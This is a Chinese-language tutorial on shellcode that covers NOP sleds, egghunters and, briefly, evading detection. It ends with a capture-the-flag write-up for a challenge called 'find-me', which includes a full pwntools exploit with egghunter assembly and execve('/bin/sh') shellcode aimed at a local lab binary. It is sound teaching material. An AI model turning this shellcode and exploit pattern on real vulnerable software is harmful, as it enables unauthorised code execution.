一.shellcode 介绍

  • shellcode是什么?
    shellcode是漏洞利用脚本payload中的一小段机器码。
  • payload是什么?
    payload = <win function> + <overwrite rip>
    
    • 函数(function)只是汇编代码
    • 汇编代码只是字节
  • 漏洞利用过程payload在栈中的布局图
    • 此时在内存中的某个地方存放shellcode(pop a shell)
    • 同时淹没rip,使其指向shellcode起始地址。 shellcode_overview

二.漏洞利用中可能存在的问题

  1. 无法精准知道shellcode的起始地址。
    解决办法:NoPsLeD, 在shellcode前添加NOP雪橇(b’\x90’),不做任何有实质影响的操作,仅占用内存空间。当覆盖rip时,只需将rip指到NOP雪橇中,程序执行权将自动滑动到shellcode处执行。
    示例代码如下:

    NOP * 1 million + 20 bytes of shellcode = win function
    
  2. 自动被执行的buffer太小,无法存放完整shellcode。
    解决办法:Egghunter, 如果会被执行的buffer太小,我们需要在binary中找一个具有写权限的大地方,把egg+pop_a_shell_shellcode写入这个大buffer。而在这个小buffer中写入小的搜索内存shellcode,使其查找binary的内存直到找到egg,之后跳过egg执行pop_a_shell_shellcode.

    big buffer: <egg> + <pop_a_shell_shellcode>
    small buffer: <search_memory_shellcode>
    
  3. shellcode被检测并被拦截。
    解决办法:想办法绕过,比如换用不同shellcode,只要能达到相同效果和目的即可。

三. shellcode编写文档

x86_64架构:系统调用表

四.例题分析

在此分享一道egghunter相关的题:find-me。
1.我们先定位到small buffer片段,此处功能点可向small buffer输入少字节shellcode,并且此时rax存放的是此处small buffer的地址。根据2.2,此处放置search_memory_shellcode,并且搜索起始地址为rax指向的地址。 shellcode_search_memory

2.由下图红色方框代码片段可知,允许对big buffer输入0x100字节,故此处有充足的地方存放shellcode代码。但由于是egghunter,shellcode需要前置egg。 shellcode_bigbuffer&execution

3.由上图蓝色方块代码片段可知,紧接着binary会执行small buffer处存放的代码。转向执行搜索内存寻找egg操作。一旦搜索到egg,binary需要跳过egg进而执行shellcode弹出shell。

gdb调试图:当执行call rax指令时,rax确实指向small buffer。 shellcode_dbg_call_rax

此时,rax指向的内存地址存放的指令确实是small buffer我们写入的指令 shellcode_gdb

具体找egg过程 shellcode_gdb_egg

4.Exploitation

from pwn import *

p = process("./find-me")

'''
1. add the egghunter_shellcode in small buffer
2. add the pop_a_shell shellcode in big buffer, moreover, add the egg b"w00tw00t" in front of the pop_a_shell shellcode
3. the binary will execute small buffer
'''

context.endian = 'little'
context.arch = 'amd64'

'''
add egghunter_shellcode on small stack, egg = W00TW00T  
'W00TW00T' little endian = 0x5430305754303057
'''

payload_egghunter_shellcode = asm(f"""

    mov r8, 0x5430305754303057  
    
find_egg:

    cmp [rax], r8

    je found

    inc rax

    jmp find_egg

found:

    add rax, 8
    jmp rax
    
""")




#shellcode: pop a shell
pop_a_shell = asm(f"""
mov rax, 0x0068732F6E69622F /*push '/bin/sh\x00*/
push rax

mov rdi, rsp

mov rsi, 0
mov rdx, 0

mov rax, 0x3b
syscall

""")


payload0 = payload_egghunter_shellcode
p.sendlineafter(b"smallbuf shellcode", payload0)

'''
add an egg in front of the pop_a_shell shellcode
'''
payload1 = b"W00TW00T" + pop_a_shell
p.sendlineafter(b"bigbuf shellcode", payload1)


p.interactive()
p.close()